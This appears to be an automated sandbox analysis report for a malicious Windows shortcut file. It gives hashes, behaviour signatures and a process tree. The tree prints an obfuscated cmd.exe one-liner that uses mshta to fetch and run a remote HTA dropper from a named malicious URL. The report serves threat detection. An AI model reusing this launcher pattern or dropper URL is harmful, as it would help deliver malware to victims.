Analysis
- max time kernel
148s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 13:21
Static task
static1
Behavioral task
behavioral1
Sample
DOC-GHN6KM.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-GHN6KM.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-GHN6KM.lnk
- Size 1KB
- Sample260803-ql2fxaz1ht
- SHA256 2ef658ae8404eb5af088903f8678962d4c6637ebeb8af5685bcf73ff55195a43
- MD5 4cc6c93a9034f718f48686d2cb7157be
- SHA1 5b29e69405512d4c105c693e4442f30a3c65a3b6
- SHA512 106a5fffd3cfa875e67475c9b5e3e7bd6e2f740625a50bfe3959a8ccb1b674541f7c2525e929797cebff14e14377427fd86e0489f78d59960badfb030c31f4bd
- TLSH T15C3199503FFE0624F3F78E77A8BF5B2085BBB8668E24C61D0151464C2032A14E17AF6B
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4316 cmd.exe 2760 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4316 wrote to memory of 2760 4316 cmd.exe 89 PID 2760 wrote to memory of 4144 2760 cmd.exe 90
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-GHN6KM.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4316 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /C "set hIl=msh&&set QU=ta&&start "" !hIl!!QU! https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2760 -
C:\Windows\System32\mshta.exemshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F157943⤵PID:4144
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